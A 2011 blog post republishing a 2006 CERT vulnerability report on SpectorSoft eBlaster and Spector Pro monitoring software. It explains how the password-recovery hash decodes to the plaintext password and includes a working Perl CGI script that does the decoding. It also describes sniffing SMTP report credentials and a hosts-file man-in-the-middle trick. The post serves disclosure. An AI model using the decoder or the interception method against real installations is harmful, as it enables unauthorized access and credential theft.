April 6, 2011 – 10:52 pm
This information is quite old and I am not sure if it is still valid. However, the vendor never responded to what I sent them even with assistance of CERT. This was assigned VU#707817 in 2006.
- -------- Original Message --------
Subject: Re: Two vulnerabilities in SpectorSoft products VU#707817
Date: Mon, 20 Nov 2006 17:10:13 -0500
From: Yakov Shafranovich
To: CERT(R) Coordination Center
Background:
Spectorsoft Corp makes several products for monitoring computer and
Internet usage including eBlaster, Spector Pro, and others. Some of the
programs provide an option to email copies of the reports to the
subscriber via regular SMTP.
Also, the software provides ability for a user who forgot his password
to the software, to recover it by pressing a hidden key combination 6
times and obtain a special "hash" code. The hash code is sent to the
vendor and a password is returned. This process is posted publically on
the vendor's website:
http://www.spectorsoft.com/support/eblaster_windows/faq.html
Vulnerability #1:
The algorithm used to generate the lost password hashes is not secure,
and easily crackable, thus allowing anyone to easily access an installed
copy of the vendor's product even if a password is unknown. THIS
INFORMATION WAS OBTAINED BY SIMPLY ANALYZING A PASSWORD HASH FOR A KNOWN
PASSWORD. This could have been easily remedied by using a form of
public/private key encryption.
Second, the viewer executable which allows for login is easily found in
WINDOWS\SYSTEM32 directory - it is usually a 1.5 or 3 MB executible and
can be found there even on a system where the software is running in
stealth mode.
The algorithm for decoding the hash is as follows:
1. Given numeric hash of 7 numbers as follows:
288-1488-1776-336-624-912-5424
2. The first number is a magic value:
288
3. The last number is a checksum, equivelant to the sum of all numbers
in the hash. In this example:
288 + 1488 + 1776 + 336 + 624 + 912 = 5424
4. Taking the lowest number in the hash excluding the first and the
last, gives your the first character. Going from there and wrapping to
the front gives you the rest":
288-1488-1776-336-624-912-5424
4 5 6 1 2 3
5. Dividing each number except the first, by the magic value and adding
its place # gives you the ASCII value of the password:
#1 | 3 | 336 mod 288 = 48 | 48 + 1 = 49 | 1 |
#2 | 4 | 624 mod 288 = 48 | 48 + 2 = 50 | 2 |
#3 | 5 | 912 mod 288 = 48 | 48 + 3 = 51 | 3 |
#4 | 6 | 288 / 6 = 48 | 48 + 4 = 52 | 4 |
#5 | 1 | 1488 mod 288 = 48 | 48 + 5 = 53 | 5 |
#6 | 2 | 1776 mod 288 = 48 | 48 + 6 = 54 | 6 |
6. The first number's value is equal to the itself divided by the total
amount of numbers excluding the checksum:
288 / 6 = 48
7. The result is: '123456'
The perl code is as follows. A live copy of this script is available at:
[redacted]
=====================================================================
#!/usr/bin/perl
use lib qw(.);
use CGI;
use CGI::Carp qw(fatalsToBrowser);
#--- Check for parameters ---
if ($ENV{'REQUEST_METHOD'} eq "GET")
{ $in = $ENV{'QUERY_STRING'}; }
else
{ $in = <STDIN>; }
$q=new CGI($in);
if($q->param('hash') eq '')
{ print "Content-Type: text/plain\n\n";
print "500 ERROR: Missing parameter 'hash'.\n";
exit;
}
#--- prepare parameters ---
my $hash_raw = $q->param('hash');
my $dd = $q->param('dd');
my $count = ($hash_raw =~ tr/-//);
my @nums = split('-', $hash_raw);
my $magic = @nums[0];
my $sum = @nums[$count];
my $lowest = $count;
#--- check the checksum ---
my $check = 0;
for($i=0; $i < $count; $i++) {
$check = $check + @nums[$i];
}
if($check != $sum) {
print "Content-Type: text/plain\n\n";
print "Checksum DOES NOT match: is $check, must be $sum!\n";
exit;
}
print "Content-Type: text/html\n\n";
print "<html><head><title>Hash Calculator (c) 2006</title></head><body>";
print "<hr/><h1>Hash Calculator (c) 2006</h1><hr/>";
print "<table border='1'><tr><th>Name</th><th>Value</th></tr>";
print "<tr><td>Original Hash</td><td>$hash_raw</td></tr>";
print "<tr><td>Total Characters</td><td>$count</td></tr>";
if($dd eq 'y') {
print "<tr><td>Magic Value</td><td>$magic</td></tr>";
print "<tr><td>Checksum</td><td>$check = $sum (matches!)</td></tr>";
}
#--- find the lowest number ---
for($i=1; $i < $count; $i++) {
if(@nums[$i] < @nums[$lowest]) {
$lowest = $i;
}
}
if($dd eq 'y') {
print "<tr><td>Starting Slot</td><td>$lowest</td></tr>";
print "<tr><td>Starting slot value</td><td>@nums[$lowest]</td></tr>";
print "<tr><td colspan='2'>Calculation table below :</td></tr>";
print "<tr><td colspan='2'>";
}
#--- print the first part of the result ---
my $pass = '';
my $j = 1;
for($i = $lowest; $i < $count; $i++) {
my $raw = @nums[$i] - $magic*$j;
my $res = $raw + $j;
my $ch = chr($res);
$pass = $pass . $ch;
if($dd eq 'y') {
print "#$j | $i | @nums[$i] - ($magic*$j) = $raw | $raw + $j =
$res | $ch |<br/>";
}
$j++;
}
#--- process the magic part ---
my $raw = @nums[0] / $count;
my $res = $raw + $j;
my $ch = chr($res);
$pass = $pass . $ch;
if($dd eq 'y') {
print "<b>#$j | $i | @nums[0] / $count = $raw | $raw + $j = $res |
$ch |</b><br/>";
}
$j++;
#--- process the rest ---
for($i = 1; $i < $lowest; $i++) {
my $raw = @nums[$i] - $magic*$j;
my $res = $raw + $j;
my $ch = chr($res);
$pass = $pass . $ch;
if($dd eq 'y') {
print "#$j | $i | @nums[$i] - ($magic*$j) = $raw | $raw + $j =
$res | $ch |<br/>";
}
$j++;
}
if($dd eq 'y') {
print "</td></tr>";
}
print "<tr><td>Password</td><td><b>$pass</b></td></tr>";
print "</table><hr/></body></html>";
exit;
========================================================================
Vulnerability #2:
This is more of a design issue. When eBlaster is used to send reports
via SMTP the software is subject to a man in the middle act. By
monitoring network traffic one can see the email account and credentials
to which the reports are being sent, leading to a possibility of
exposing security credentials AND ability to fake the reports. The
reports are not digitally signed or encrypted.
Additionally, even when using TLS, it is possible in theory to run a man
in the middle attack by mapping the destination SMTP server's IP to
localhost via hosts.txt, and running a rougue SMTP server with TLS locally.
Posted in Technology | No Comments »